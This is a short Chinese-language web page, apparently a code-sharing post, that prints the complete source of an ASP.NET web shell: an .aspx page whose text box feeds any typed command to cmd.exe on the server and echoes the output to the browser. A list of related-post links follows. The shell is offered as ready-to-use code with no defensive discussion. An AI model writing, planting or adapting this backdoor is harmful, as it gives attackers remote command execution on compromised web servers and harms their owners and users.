一个ASP.Net下的WebShell实例
代码如下:
代码如下:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text;
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write("<pre>");
Response.Write(strOutput);
Response.Write("</pre>");
}
protected void Page_Load(object sender, EventArgs e)
{
}
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form> 相关推荐
bluet00 2020-06-25
bigNoseLiu 2020-06-15
Jieen 2020-05-30
酷云的csdn 2020-05-28
Sabrina 2020-04-22
pimshell 2020-04-06
伏雌摘星阁 2020-03-03
懒人的小窝 2011-06-11
Parco的IT运维 2020-02-03
xiaobater 2020-02-02
liushun 2019-12-16
本站服务器经过更换2012版后 网站经常被人拿WEBSHELL篡改文件!找了半天也找不到漏洞在哪好在微信好友Carry的帮忙下找出了漏洞,并给出了以下的修改方案我是根据方案3修复的,在这里给大家分享下
SciRui 2019-12-14
jinkun00 2015-08-17
Yyqingmofeige 2019-11-08